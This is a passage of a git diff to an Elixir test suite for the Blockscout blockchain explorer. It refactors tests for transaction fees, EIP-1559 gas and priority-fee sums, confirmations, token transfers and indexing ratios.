to_address: address, + transaction: transaction, + token_contract_address: token_contract_address, + token: token + ) - assert [] == Chain.address_to_transactions_with_rewards(address.hash) + fetched_transaction = List.first(Explorer.Chain.block_to_transactions(block.hash)) + assert fetched_transaction.hash == transaction.hash + assert length(fetched_transaction.token_transfers) == 2 end + end - test "returns transactions that have token transfers for the given to_address" do - %Address{hash: address_hash} = address = insert(:address) + describe "block_to_gas_used_by_1559_transactions/1" do + test "sum of gas_usd from all transactions including legacy" do + block = insert(:block, base_fee_per_gas: 4) - transaction = - :transaction - |> insert(to_address: address, to_address_hash: address.hash) - |> with_block() + insert(:transaction, + gas_used: 4, + cumulative_gas_used: 3, + block_number: block.number, + block_hash: block.hash, + index: 1, + max_fee_per_gas: 0, + max_priority_fee_per_gas: 3 + ) - insert( - :token_transfer, - to_address: address, - transaction: transaction + insert(:transaction, + gas_used: 6, + cumulative_gas_used: 3, + block_number: block.number, + block_hash: block.hash, + index: 2 ) - assert [transaction.hash] == - Chain.address_to_transactions_with_rewards(address_hash) - |> Enum.map(& &1.hash) + assert Decimal.new(10) == Chain.block_to_gas_used_by_1559_transactions(block.hash) end + end - test "with transactions can be paginated" do - %Address{hash: address_hash} = address = insert(:address) - - second_page_hashes = - 2 - |> insert_list(:transaction, from_address: address) - |> with_block() - |> Enum.map(& &1.hash) + describe "block_to_priority_fee_of_1559_transactions/1" do + test "with transactions: transaction.max_fee_per_gas = 0" do + block = insert(:block, base_fee_per_gas: 4) - %Transaction{block_number: block_number, index: index} = - :transaction - |> insert(from_address: address) - |> with_block() + insert(:transaction, + gas_used: 4, + cumulative_gas_used: 3, + block_number: block.number, + block_hash: block.hash, + index: 1, + max_fee_per_gas: 0, + max_priority_fee_per_gas: 3 + ) - assert second_page_hashes == - address_hash - |> Chain.address_to_transactions_with_rewards( - paging_options: %PagingOptions{ - key: {block_number, index}, - page_size: 2 - } - ) - |> Enum.map(& &1.hash) - |> Enum.reverse() + assert Decimal.new(0) == Chain.block_to_priority_fee_of_1559_transactions(block.hash) end - test "returns results in reverse chronological order by block number and transaction index" do - %Address{hash: address_hash} = address = insert(:address) + test "with transactions: transaction.max_fee_per_gas - block.base_fee_per_gas >= transaction.max_priority_fee_per_gas" do + block = insert(:block, base_fee_per_gas: 1) - a_block = insert(:block, number: 6000) + insert(:transaction, + gas_used: 3, + cumulative_gas_used: 3, + block_number: block.number, + block_hash: block.hash, + index: 1, + max_fee_per_gas: 5, + max_priority_fee_per_gas: 1 + ) - %Transaction{hash: first} = - :transaction - |> insert(to_address: address) - |> with_block(a_block) + assert Decimal.new(3) == Chain.block_to_priority_fee_of_1559_transactions(block.hash) + end - %Transaction{hash: second} = - :transaction - |> insert(to_address: address) - |> with_block(a_block) + test "with transactions: transaction.max_fee_per_gas - block.base_fee_per_gas < transaction.max_priority_fee_per_gas" do + block = insert(:block, base_fee_per_gas: 4) - %Transaction{hash: third} = - :transaction - |> insert(to_address: address) - |> with_block(a_block) + insert(:transaction, + gas_used: 4, + cumulative_gas_used: 3, + block_number: block.number, + block_hash: block.hash, + index: 1, + max_fee_per_gas: 5, + max_priority_fee_per_gas: 3 + ) - %Transaction{hash: fourth} = - :transaction - |> insert(to_address: address) - |> with_block(a_block) + assert Decimal.new(4) == Chain.block_to_priority_fee_of_1559_transactions(block.hash) + end - b_block = insert(:block, number: 2000) - - %Transaction{hash: fifth} = - :transaction - |> insert(to_address: address) - |> with_block(b_block) - - %Transaction{hash: sixth} = - :transaction - |> insert(to_address: address) - |> with_block(b_block) - - result = - address_hash - |> Chain.address_to_transactions_with_rewards() - |> Enum.map(& &1.hash) - - assert [fourth, third, second, first, sixth, fifth] == result - end - - test "with emission rewards" do - Application.put_env(:block_scout_web, BlockScoutWeb.Chain, has_emission_funds: true) - - Application.put_env(:explorer, Explorer.Chain.Block.Reward, - validators_contract_address: "0x0000000000000000000000000000000000000005", - keys_manager_contract_address: "0x0000000000000000000000000000000000000006" - ) - - block = insert(:block) - - block_miner_hash_string = Base.encode16(block.miner_hash.bytes, case: :lower) - - insert( - :reward, - address_hash: block.miner_hash, - block_hash: block.hash, - address_type: :validator - ) + test "with legacy transactions" do + block = insert(:block, base_fee_per_gas: 1) - insert( - :reward, - address_hash: block.miner_hash, + insert(:transaction, + gas_price: 5, + gas_used: 6, + cumulative_gas_used: 6, + block_number: block.number, block_hash: block.hash, - address_type: :emission_funds - ) - - # isValidator => true - expect( - EthereumJSONRPC.Mox, - :json_rpc, - fn [%{id: id, method: _, params: [%{data: _, to: _}, _]}], _options -> - {:ok, - [%{id: id, jsonrpc: "2.0", result: "0x0000000000000000000000000000000000000000000000000000000000000001"}]} - end - ) - - # getPayoutByMining => 0x0000000000000000000000000000000000000001 - expect( - EthereumJSONRPC.Mox, - :json_rpc, - fn [%{id: id, method: _, params: [%{data: _, to: _}, _]}], _options -> - {:ok, [%{id: id, result: "0x000000000000000000000000" <> block_miner_hash_string}]} - end + index: 1 ) - res = Chain.address_to_transactions_with_rewards(block.miner.hash) - - assert [{_, _}] = res - - on_exit(fn -> - Application.put_env(:block_scout_web, BlockScoutWeb.Chain, has_emission_funds: false) - - Application.put_env(:explorer, Explorer.Chain.Block.Reward, - validators_contract_address: nil, - keys_manager_contract_address: nil - ) - end) + assert Decimal.new(24) == Chain.block_to_priority_fee_of_1559_transactions(block.hash) end - test "with emission rewards and transactions" do - Application.put_env(:block_scout_web, BlockScoutWeb.Chain, has_emission_funds: true) - - Application.put_env(:explorer, Explorer.Chain.Block.Reward, - validators_contract_address: "0x0000000000000000000000000000000000000005", - keys_manager_contract_address: "0x0000000000000000000000000000000000000006" - ) - - block = insert(:block) - - block_miner_hash_string = Base.encode16(block.miner_hash.bytes, case: :lower) - - insert( - :reward, - address_hash: block.miner_hash, - block_hash: block.hash, - address_type: :validator - ) + test "0 in blockchain with no EIP-1559 implemented" do + block = insert(:block, base_fee_per_gas: nil) - insert( - :reward, - address_hash: block.miner_hash, + insert(:transaction, + gas_price: 1, + gas_used: 4, + cumulative_gas_used: 4, + block_number: block.number, block_hash: block.hash, - address_type: :emission_funds - ) - - :transaction - |> insert(to_address: block.miner) - |> with_block(block) - |> Repo.preload(:token_transfers) - - # isValidator => true - expect( - EthereumJSONRPC.Mox, - :json_rpc, - fn [%{id: id, method: _, params: [%{data: _, to: _}, _]}], _options -> - {:ok, - [%{id: id, jsonrpc: "2.0", result: "0x0000000000000000000000000000000000000000000000000000000000000001"}]} - end - ) - - # getPayoutByMining => 0x0000000000000000000000000000000000000001 - expect( - EthereumJSONRPC.Mox, - :json_rpc, - fn [%{id: id, method: _, params: [%{data: _, to: _}, _]}], _options -> - {:ok, [%{id: id, result: "0x000000000000000000000000" <> block_miner_hash_string}]} - end + index: 1 ) - assert [_, {_, _}] = Chain.address_to_transactions_with_rewards(block.miner.hash, direction: :to) - - on_exit(fn -> - Application.put_env(:block_scout_web, BlockScoutWeb.Chain, has_emission_funds: false) - - Application.put_env(:explorer, Explorer.Chain.Block.Reward, - validators_contract_address: nil, - keys_manager_contract_address: nil - ) - end) + assert 0 == Chain.block_to_priority_fee_of_1559_transactions(block.hash) end + end - test "with transactions if rewards are not in the range of blocks" do - Application.put_env(:block_scout_web, BlockScoutWeb.Chain, has_emission_funds: true) - + describe "block_to_transaction_count/1" do + test "without transactions" do block = insert(:block) - insert( - :reward, - address_hash: block.miner_hash, - block_hash: block.hash, - address_type: :validator - ) - - insert( - :reward, - address_hash: block.miner_hash, - block_hash: block.hash, - address_type: :emission_funds - ) - - :transaction - |> insert(from_address: block.miner) - |> with_block() - |> Repo.preload(:token_transfers) + assert Chain.block_to_transaction_count(block.hash) == 0 + end - assert [_] = Chain.address_to_transactions_with_rewards(block.miner.hash, direction: :from) + test "with transactions" do + %Transaction{block: block} = + :transaction + |> insert() + |> with_block() - Application.put_env(:block_scout_web, BlockScoutWeb.Chain, has_emission_funds: false) + assert Chain.block_to_transaction_count(block.hash) == 1 end + end - test "with emissions rewards, but feature disabled" do - Application.put_env(:block_scout_web, BlockScoutWeb.Chain, has_emission_funds: false) - + describe "confirmations/1" do + test "with block.number == block_height " do block = insert(:block) + block_height = Chain.block_height() - insert( - :reward, - address_hash: block.miner_hash, - block_hash: block.hash, - address_type: :validator - ) + assert block.number == block_height + assert {:ok, 1} = Chain.confirmations(block, block_height: block_height) + end - insert( - :reward, - address_hash: block.miner_hash, - block_hash: block.hash, - address_type: :emission_funds - ) + test "with block.number < block_height" do + block = insert(:block) + block_height = block.number + 2 - assert [] == Chain.address_to_transactions_with_rewards(block.miner.hash) + assert block.number < block_height + assert {:ok, confirmations} = Chain.confirmations(block, block_height: block_height) + assert confirmations == block_height - block.number + 1 end end - describe "address_to_transactions_tasks_range_of_blocks/2" do - test "returns empty extremums if no transactions" do - address = insert(:address) - - extremums = Chain.address_to_transactions_tasks_range_of_blocks(address.hash, []) - - assert extremums == %{ - :min_block_number => nil, - :max_block_number => 0 - } + describe "fee/2" do + test "without receipt with :wei unit" do + assert Transaction.fee( + %Transaction{gas: Decimal.new(3), gas_price: %Wei{value: Decimal.new(2)}, gas_used: nil}, + :wei + ) == + {:maximum, Decimal.new(6)} end - test "returns correct extremums for from_address" do - address = insert(:address) - - :transaction - |> insert(from_address: address) - |> with_block(insert(:block, number: 1000)) + test "without receipt with :gwei unit" do + assert Transaction.fee( + %Transaction{gas: Decimal.new(3), gas_price: %Wei{value: Decimal.new(2)}, gas_used: nil}, + :gwei + ) == + {:maximum, Decimal.new("6e-9")} + end - extremums = Chain.address_to_transactions_tasks_range_of_blocks(address.hash, []) + test "without receipt with :ether unit" do + assert Transaction.fee( + %Transaction{gas: Decimal.new(3), gas_price: %Wei{value: Decimal.new(2)}, gas_used: nil}, + :ether + ) == + {:maximum, Decimal.new("6e-18")} + end - assert extremums == %{ - :min_block_number => 1000, - :max_block_number => 1000 - } + test "with receipt with :wei unit" do + assert Transaction.fee( + %Transaction{ + gas: Decimal.new(3), + gas_price: %Wei{value: Decimal.new(2)}, + gas_used: Decimal.new(2) + }, + :wei + ) == {:actual, Decimal.new(4)} end - test "returns correct extremums for to_address" do - address = insert(:address) + test "with receipt with :gwei unit" do + assert Transaction.fee( + %Transaction{ + gas: Decimal.new(3), + gas_price: %Wei{value: Decimal.new(2)}, + gas_used: Decimal.new(2) + }, + :gwei + ) == {:actual, Decimal.new("4e-9")} + end - :transaction - |> insert(to_address: address) - |> with_block(insert(:block, number: 1000)) + test "with receipt with :ether unit" do + assert Transaction.fee( + %Transaction{ + gas: Decimal.new(3), + gas_price: %Wei{value: Decimal.new(2)}, + gas_used: Decimal.new(2) + }, + :ether + ) == {:actual, Decimal.new("4e-18")} + end + end - extremums = Chain.address_to_transactions_tasks_range_of_blocks(address.hash, []) + describe "fetch_token_transfers_from_token_hash/2" do + test "without token transfers" do + %Token{contract_address_hash: contract_address_hash} = insert(:token) - assert extremums == %{ - :min_block_number => 1000, - :max_block_number => 1000 - } + assert Chain.fetch_token_transfers_from_token_hash(contract_address_hash) == [] end - test "returns correct extremums for created_contract_address" do + test "with token transfers" do address = insert(:address) - :transaction - |> insert(created_contract_address: address) - |> with_block(insert(:block, number: 1000)) + transaction = + :transaction + |> insert() + |> with_block() - extremums = Chain.address_to_transactions_tasks_range_of_blocks(address.hash, []) + %TokenTransfer{ + transaction_hash: token_transfer_transaction_hash, + log_index: token_transfer_log_index, + token_contract_address_hash: token_contract_address_hash + } = insert(:token_transfer, to_address: address, transaction: transaction) - assert extremums == %{ - :min_block_number => 1000, - :max_block_number => 1000 - } + assert token_contract_address_hash + |> Chain.fetch_token_transfers_from_token_hash() + |> Enum.map(&{&1.transaction_hash, &1.log_index}) == [ + {token_transfer_transaction_hash, token_transfer_log_index} + ] end + end - test "returns correct extremums for multiple number of transactions" do - address = insert(:address) + describe "finished_indexing_internal_transactions?/0" do + setup do + Supervisor.terminate_child(Explorer.Supervisor, PendingBlockOperationCount.child_id()) + Supervisor.restart_child(Explorer.Supervisor, PendingBlockOperationCount.child_id()) + on_exit(fn -> Supervisor.terminate_child(Explorer.Supervisor, PendingBlockOperationCount.child_id()) end) + end - :transaction - |> insert(created_contract_address: address) - |> with_block(insert(:block, number: 1000)) + test "finished indexing" do + block = insert(:block, number: 1) :transaction - |> insert(created_contract_address: address) - |> with_block(insert(:block, number: 999)) + |> insert() + |> with_block(block) - :transaction - |> insert(created_contract_address: address) - |> with_block(insert(:block, number: 1003)) + assert Chain.finished_indexing_internal_transactions?() + end - :transaction - |> insert(from_address: address) - |> with_block(insert(:block, number: 1001)) + test "finished indexing (no transactions)" do + assert Chain.finished_indexing_internal_transactions?() + end - :transaction - |> insert(from_address: address) - |> with_block(insert(:block, number: 1004)) + test "not finished indexing" do + block = insert(:block, number: 1) :transaction - |> insert(to_address: address) - |> with_block(insert(:block, number: 1002)) + |> insert() + |> with_block(block) - :transaction - |> insert(to_address: address) - |> with_block(insert(:block, number: 998)) + insert(:pending_block_operation, block: block, block_number: block.number) - extremums = Chain.address_to_transactions_tasks_range_of_blocks(address.hash, []) + configuration = Application.get_env(:indexer, Indexer.Fetcher.InternalTransaction.Supervisor) + Application.put_env(:indexer, Indexer.Fetcher.InternalTransaction.Supervisor, disabled?: false) - assert extremums == %{ - :min_block_number => 998, - :max_block_number => 1004 - } + on_exit(fn -> + Application.put_env(:indexer, Indexer.Fetcher.InternalTransaction.Supervisor, configuration) + end) + + refute Chain.finished_indexing_internal_transactions?() end end - describe "total_transactions_sent_by_address/1" do - test "increments +1 in the last nonce result" do - address = insert(:address) + describe "gas_price/2" do + test ":wei unit" do + assert Chain.gas_price(%Transaction{gas_price: %Wei{value: Decimal.new(1)}}, :wei) == Decimal.new(1) + end - :transaction - |> insert(nonce: 100, from_address: address) - |> with_block(insert(:block, number: 1000)) + test ":gwei unit" do + assert Chain.gas_price(%Transaction{gas_price: %Wei{value: Decimal.new(1)}}, :gwei) == Decimal.new("1e-9") - assert Chain.total_transactions_sent_by_address(address.hash) == 101 + assert Chain.gas_price(%Transaction{gas_price: %Wei{value: Decimal.new("1e9")}}, :gwei) == Decimal.new(1) end - test "returns 0 when the address did not send transactions" do - address = insert(:address) - - :transaction - |> insert(nonce: 100, to_address: address) - |> with_block(insert(:block, number: 1000)) + test ":ether unit" do + assert Chain.gas_price(%Transaction{gas_price: %Wei{value: Decimal.new(1)}}, :ether) == Decimal.new("1e-18") - assert Chain.total_transactions_sent_by_address(address.hash) == 0 + assert Chain.gas_price(%Transaction{gas_price: %Wei{value: Decimal.new("1e18")}}, :ether) == Decimal.new(1) end end - describe "balance/2" do - test "with Address.t with :wei" do - assert Chain.balance(%Address{fetched_coin_balance: %Wei{value: Decimal.new(1)}}, :wei) == Decimal.new(1) - assert Chain.balance(%Address{fetched_coin_balance: nil}, :wei) == nil - end + describe "hashes_to_addresses/1" do + test "with existing addresses" do + address1 = insert(:address, hash: "0x5aaeb6053f3e94c9b9a09f33669435e7ef1beaed") + address2 = insert(:address, hash: "0x6aaeb6053f3e94c9b9a09f33669435e7ef1beaed") + # in opposite of insertion order, to check that ordering matches ordering of arguments + # regression test for https://github.com/poanetwork/blockscout/issues/843 + hashes = [address2.hash, address1.hash] - test "with Address.t with :gwei" do - assert Chain.balance(%Address{fetched_coin_balance: %Wei{value: Decimal.new(1)}}, :gwei) == Decimal.new("1e-9") - assert Chain.balance(%Address{fetched_coin_balance: %Wei{value: Decimal.new("1e9")}}, :gwei) == Decimal.new(1) - assert Chain.balance(%Address{fetched_coin_balance: nil}, :gwei) == nil - end + [found_address1, found_address2] = Explorer.Chain.hashes_to_addresses(hashes) - test "with Address.t with :ether" do - assert Chain.balance(%Address{fetched_coin_balance: %Wei{value: Decimal.new(1)}}, :ether) == Decimal.new("1e-18") - assert Chain.balance(%Address{fetched_coin_balance: %Wei{value: Decimal.new("1e18")}}, :ether) == Decimal.new(1) - assert Chain.balance(%Address{fetched_coin_balance: nil}, :ether) == nil - end - end + %Explorer.Chain.Address{hash: found_hash1} = found_address1 + %Explorer.Chain.Address{hash: found_hash2} = found_address2 - describe "block_to_transactions/2" do - test "without transactions" do - block = insert(:block) + assert found_hash1 == address2.hash + assert found_hash2 == address1.hash - assert Repo.aggregate(Transaction, :count, :hash) == 0 + hashes = [address1.hash, address2.hash] - assert [] = Chain.block_to_transactions(block.hash) - end + [found_address1, found_address2] = Explorer.Chain.hashes_to_addresses(hashes) - test "with transactions" do - %Transaction{block: block, hash: transaction_hash} = - :transaction - |> insert() - |> with_block() + %Explorer.Chain.Address{hash: found_hash1} = found_address1 + %Explorer.Chain.Address{hash: found_hash2} = found_address2 - assert [%Transaction{hash: ^transaction_hash}] = Chain.block_to_transactions(block.hash) + assert found_hash1 == address1.hash + assert found_hash2 == address2.hash end - test "with transactions can be paginated by {index}" do - block = insert(:block) + test "with nonexistent addresses" do + hash1 = "0x5aaeb6053f3e94c9b9a09f33669435e7ef1beaed" + hash2 = "0x6aaeb6053f3e94c9b9a09f33669435e7ef1beaed" + hashes = [hash1, hash2] - second_page_hashes = - 50 - |> insert_list(:transaction) - |> with_block(block) - |> Enum.map(& &1.hash) + assert Explorer.Chain.hashes_to_addresses(hashes) == [] + end + end - %Transaction{index: index} = + describe "hash_to_transaction/2" do + test "with transaction with block required without block returns {:error, :not_found}" do + %Transaction{hash: hash_with_block} = :transaction |> insert() - |> with_block(block) + |> with_block() - assert second_page_hashes == - block.hash - |> Chain.block_to_transactions(paging_options: %PagingOptions{key: {index}, page_size: 50}) - |> Enum.map(& &1.hash) - end + %Transaction{hash: hash_without_index} = insert(:transaction) - test "returns transactions with token_transfers preloaded" do - address = insert(:address) - block = insert(:block) - token_contract_address = insert(:contract_address) - token = insert(:token, contract_address: token_contract_address) + assert {:ok, %Transaction{hash: ^hash_with_block}} = + Chain.hash_to_transaction( + hash_with_block, + necessity_by_association: %{block: :required} + ) + assert {:error, :not_found} = + Chain.hash_to_transaction( + hash_without_index, + necessity_by_association: %{block: :required} + ) + + assert {:ok, %Transaction{hash: ^hash_without_index}} = + Chain.hash_to_transaction( + hash_without_index, + necessity_by_association: %{block: :optional} + ) + end + + test "transaction with multiple create internal transactions is returned" do transaction = + %Transaction{hash: hash_with_block} = :transaction |> insert() - |> with_block(block) + |> with_block() - insert_list( - 2, - :token_transfer, - to_address: address, + insert(:internal_transaction, transaction: transaction, - token_contract_address: token_contract_address, - token: token + index: 0, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 0, + transaction_index: transaction.index ) - fetched_transaction = List.first(Explorer.Chain.block_to_transactions(block.hash)) - assert fetched_transaction.hash == transaction.hash - assert length(fetched_transaction.token_transfers) == 2 + Enum.each(1..3, fn index -> + insert(:internal_transaction_create, + transaction: transaction, + index: index, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: index, + transaction_index: transaction.index + ) + end) + + assert {:ok, %Transaction{hash: ^hash_with_block}} = Chain.hash_to_transaction(hash_with_block) end end - describe "block_to_gas_used_by_1559_txs/1" do - test "sum of gas_usd from all transactions including glegacy" do - block = insert(:block, base_fee_per_gas: 4) + describe "hash_to_address/1" do + test "returns not found if the address doesn't exist" do + hash_str = "0xcbbcd5ac86f9a50e13313633b262e16f695a90c2" + {:ok, hash} = Chain.string_to_address_hash(hash_str) - insert(:transaction, - gas_used: 4, - cumulative_gas_used: 3, - block_number: block.number, - block_hash: block.hash, - index: 1, - max_fee_per_gas: 0, - max_priority_fee_per_gas: 3 - ) + assert {:error, :not_found} = Chain.hash_to_address(hash) + end - insert(:transaction, - gas_used: 6, - cumulative_gas_used: 3, - block_number: block.number, - block_hash: block.hash, - index: 2 - ) + test "returns the correct address if it exists" do + address = insert(:address) - assert Decimal.new(10) == Chain.block_to_gas_used_by_1559_txs(block.hash) + assert {:ok, address_from_db} = Chain.hash_to_address(address.hash) + assert address_from_db.hash == address.hash + assert address_from_db.inserted_at == address.inserted_at end end - describe "block_to_priority_fee_of_1559_txs/1" do - test "with transactions: tx.max_fee_per_gas = 0" do - block = insert(:block, base_fee_per_gas: 4) - - insert(:transaction, - gas_used: 4, - cumulative_gas_used: 3, - block_number: block.number, - block_hash: block.hash, - index: 1, - max_fee_per_gas: 0, - max_priority_fee_per_gas: 3 - ) + describe "find_or_insert_address_from_hash/1" do + test "returns an address if it already exists" do + address = insert(:address) - assert Decimal.new(0) == Chain.block_to_priority_fee_of_1559_txs(block.hash) + assert {:ok, address_from_db} = Chain.find_or_insert_address_from_hash(address.hash) + assert address_from_db.hash == address.hash + assert address_from_db.inserted_at == address.inserted_at end - test "with transactions: tx.max_fee_per_gas - block.base_fee_per_gas >= tx.max_priority_fee_per_gas" do - block = insert(:block, base_fee_per_gas: 1) - - insert(:transaction, - gas_used: 3, - cumulative_gas_used: 3, - block_number: block.number, - block_hash: block.hash, - index: 1, - max_fee_per_gas: 5, - max_priority_fee_per_gas: 1 - ) + test "returns an address if it doesn't exist" do + hash_str = "0xcbbcd5ac86f9a50e13313633b262e16f695a90c2" + {:ok, hash} = Chain.string_to_address_hash(hash_str) - assert Decimal.new(3) == Chain.block_to_priority_fee_of_1559_txs(block.hash) + assert {:ok, %Chain.Address{hash: ^hash}} = Chain.find_or_insert_address_from_hash(hash) end + end - test "with transactions: tx.max_fee_per_gas - block.base_fee_per_gas < tx.max_priority_fee_per_gas" do - block = insert(:block, base_fee_per_gas: 4) - - insert(:transaction, - gas_used: 4, - cumulative_gas_used: 3, - block_number: block.number, - block_hash: block.hash, - index: 1, - max_fee_per_gas: 5, - max_priority_fee_per_gas: 3 - ) + describe "hashes_to_transactions/2" do + test "with transaction with block required without block returns nil" do + [%Transaction{hash: hash_with_block1}, %Transaction{hash: hash_with_block2}] = + 2 + |> insert_list(:transaction) + |> with_block() - assert Decimal.new(4) == Chain.block_to_priority_fee_of_1559_txs(block.hash) - end + [%Transaction{hash: hash_without_index1}, %Transaction{hash: hash_without_index2}] = insert_list(2, :transaction) - test "with legacy transactions" do - block = insert(:block, base_fee_per_gas: 1) + assert [%Transaction{hash: ^hash_with_block2}, %Transaction{hash: ^hash_with_block1}] = + Chain.hashes_to_transactions( + [hash_with_block1, hash_with_block2], + necessity_by_association: %{block: :required} + ) - insert(:transaction, - gas_price: 5, - gas_used: 6, - cumulative_gas_used: 6, - block_number: block.number, - block_hash: block.hash, - index: 1 - ) + assert [] = + Chain.hashes_to_transactions( + [hash_without_index1, hash_without_index2], + necessity_by_association: %{block: :required} + ) - assert Decimal.new(24) == Chain.block_to_priority_fee_of_1559_txs(block.hash) + assert [hash_without_index1, hash_without_index2] + |> Chain.hashes_to_transactions(necessity_by_association: %{block: :optional}) + |> Enum.all?(&(&1.hash in [hash_without_index1, hash_without_index2])) end - test "0 in blockchain with no EIP-1559 implemented" do - block = insert(:block, base_fee_per_gas: nil) + test "returns transactions with token_transfers preloaded" do + address = insert(:address) + token_contract_address = insert(:contract_address) + token = insert(:token, contract_address: token_contract_address) - insert(:transaction, - gas_price: 1, - gas_used: 4, - cumulative_gas_used: 4, - block_number: block.number, - block_hash: block.hash, - index: 1 - ) + [transaction1, transaction2] = + 2 + |> insert_list(:transaction) + |> with_block() - assert 0 == Chain.block_to_priority_fee_of_1559_txs(block.hash) - end - end + %TokenTransfer{transaction_hash: transaction_hash1, log_index: log_index1} = + insert( + :token_transfer, + to_address: address, + transaction: transaction1, + token_contract_address: token_contract_address, + token: token + ) - describe "block_to_transaction_count/1" do - test "without transactions" do - block = insert(:block) + %TokenTransfer{transaction_hash: transaction_hash2, log_index: log_index2} = + insert( + :token_transfer, + to_address: address, + transaction: transaction2, + token_contract_address: token_contract_address, + token: token + ) - assert Chain.block_to_transaction_count(block.hash) == 0 - end + fetched_transactions = Explorer.Chain.hashes_to_transactions([transaction1.hash, transaction2.hash]) - test "with transactions" do - %Transaction{block: block} = - :transaction - |> insert() - |> with_block() + assert Enum.all?(fetched_transactions, fn transaction -> + %TokenTransfer{transaction_hash: transaction_hash, log_index: log_index} = + hd(transaction.token_transfers) - assert Chain.block_to_transaction_count(block.hash) == 1 + {transaction_hash, log_index} in [{transaction_hash1, log_index1}, {transaction_hash2, log_index2}] + end) end end - describe "address_to_incoming_transaction_count/1" do - test "without transactions" do - %Address{hash: address_hash} = insert(:address) - - assert Chain.address_to_incoming_transaction_count(address_hash) == 0 - end + describe "indexed_ratio_blocks/0" do + setup do + Supervisor.terminate_child(Explorer.Supervisor, Explorer.Chain.Cache.Counters.BlocksCount.child_id()) + Supervisor.restart_child(Explorer.Supervisor, Explorer.Chain.Cache.Counters.BlocksCount.child_id()) - test "with transactions" do - %Transaction{to_address: to_address} = insert(:transaction) + initial_env = Application.get_env(:indexer, :block_ranges) - assert Chain.address_to_incoming_transaction_count(to_address.hash) == 1 + on_exit(fn -> + Application.put_env(:indexer, :block_ranges, initial_env) + end) end - end - - describe "confirmations/1" do - test "with block.number == block_height " do - block = insert(:block) - block_height = Chain.block_height() - assert block.number == block_height - assert {:ok, 1} = Chain.confirmations(block, block_height: block_height) - end + test "returns indexed ratio" do + for index <- 5..9 do + insert(:block, number: index, consensus: true) + end - test "with block.number < block_height" do - block = insert(:block) - block_height = block.number + 2 + BlocksCount.get() - assert block.number < block_height - assert {:ok, confirmations} = Chain.confirmations(block, block_height: block_height) - assert confirmations == block_height - block.number + 1 + assert Decimal.compare(Chain.indexed_ratio_blocks(), Decimal.from_float(0.5)) == :eq end - end - describe "fee/2" do - test "without receipt with :wei unit" do - assert Chain.fee(%Transaction{gas: Decimal.new(3), gas_price: %Wei{value: Decimal.new(2)}, gas_used: nil}, :wei) == - {:maximum, Decimal.new(6)} + test "returns 1 if no blocks" do + assert Decimal.new(1) == Chain.indexed_ratio_blocks() end - test "without receipt with :gwei unit" do - assert Chain.fee(%Transaction{gas: Decimal.new(3), gas_price: %Wei{value: Decimal.new(2)}, gas_used: nil}, :gwei) == - {:maximum, Decimal.new("6e-9")} - end + test "returns 1.0 if fully indexed blocks" do + for index <- 0..9 do + insert(:block, number: index, consensus: true) + Process.sleep(200) + end - test "without receipt with :ether unit" do - assert Chain.fee(%Transaction{gas: Decimal.new(3), gas_price: %Wei{value: Decimal.new(2)}, gas_used: nil}, :ether) == - {:maximum, Decimal.new("6e-18")} - end + BlocksCount.get() - test "with receipt with :wei unit" do - assert Chain.fee( - %Transaction{ - gas: Decimal.new(3), - gas_price: %Wei{value: Decimal.new(2)}, - gas_used: Decimal.new(2) - }, - :wei - ) == {:actual, Decimal.new(4)} + assert Decimal.compare(Chain.indexed_ratio_blocks(), 1) == :eq end - test "with receipt with :gwei unit" do - assert Chain.fee( - %Transaction{ - gas: Decimal.new(3), - gas_price: %Wei{value: Decimal.new(2)}, - gas_used: Decimal.new(2) - }, - :gwei - ) == {:actual, Decimal.new("4e-9")} - end + test "returns 1.0 if fully indexed blocks starting from given FIRST_BLOCK" do + for index <- 5..9 do + insert(:block, number: index, consensus: true) + Process.sleep(200) + end - test "with receipt with :ether unit" do - assert Chain.fee( - %Transaction{ - gas: Decimal.new(3), - gas_price: %Wei{value: Decimal.new(2)}, - gas_used: Decimal.new(2) - }, - :ether - ) == {:actual, Decimal.new("4e-18")} + BlocksCount.get() + Application.put_env(:indexer, :block_ranges, "5..latest") + + assert Decimal.compare(Chain.indexed_ratio_blocks(), 1) == :eq end end - describe "fetch_token_transfers_from_token_hash/2" do - test "without token transfers" do - %Token{contract_address_hash: contract_address_hash} = insert(:token) + describe "indexed_ratio_internal_transactions/0" do + setup do + Supervisor.terminate_child(Explorer.Supervisor, PendingBlockOperationCount.child_id()) + Supervisor.restart_child(Explorer.Supervisor, PendingBlockOperationCount.child_id()) + configuration = Application.get_env(:indexer, Indexer.Fetcher.InternalTransaction.Supervisor) + Application.put_env(:indexer, Indexer.Fetcher.InternalTransaction.Supervisor, disabled?: false) - assert Chain.fetch_token_transfers_from_token_hash(contract_address_hash) == [] + on_exit(fn -> + Application.put_env(:indexer, :trace_first_block, 0) + Application.put_env(:indexer, Indexer.Fetcher.InternalTransaction.Supervisor, configuration) + Supervisor.terminate_child(Explorer.Supervisor, PendingBlockOperationCount.child_id()) + end) end - test "with token transfers" do - address = insert(:address) - - transaction = - :transaction - |> insert() - |> with_block() + test "returns indexed ratio" do + for index <- 0..9 do + block = insert(:block, number: index) - %TokenTransfer{ - transaction_hash: token_transfer_transaction_hash, - log_index: token_transfer_log_index, - token_contract_address_hash: token_contract_address_hash - } = insert(:token_transfer, to_address: address, transaction: transaction) + if index === 0 || index === 5 || index === 7 do + insert(:pending_block_operation, block: block, block_number: block.number) + end + end - assert token_contract_address_hash - |> Chain.fetch_token_transfers_from_token_hash() - |> Enum.map(&{&1.transaction_hash, &1.log_index}) == [ - {token_transfer_transaction_hash, token_transfer_log_index} - ] - end - end + config = Application.get_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth) + Application.put_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth, Keyword.put(config, :block_traceable?, true)) - describe "finished_indexing?/0" do - test "finished indexing" do - block = insert(:block, number: 1) + on_exit(fn -> Application.put_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth, config) end) - :transaction - |> insert() - |> with_block(block) + Chain.indexed_ratio_internal_transactions() - assert Chain.finished_indexing?() + assert Decimal.compare(Chain.indexed_ratio_internal_transactions(), Decimal.from_float(0.7)) == :eq end - test "finished indexing (no txs)" do - assert Chain.finished_indexing?() + test "returns 0 if no blocks" do + assert Decimal.new(0) == Chain.indexed_ratio_internal_transactions() end - test "not finished indexing" do - block = insert(:block, number: 1) + test "returns 1.0 if no pending block operations" do + for index <- 0..9 do + insert(:block, number: index) + end - :transaction - |> insert() - |> with_block(block) + assert Decimal.compare(Chain.indexed_ratio_internal_transactions(), 1) == :eq + end - insert(:pending_block_operation, block: block, 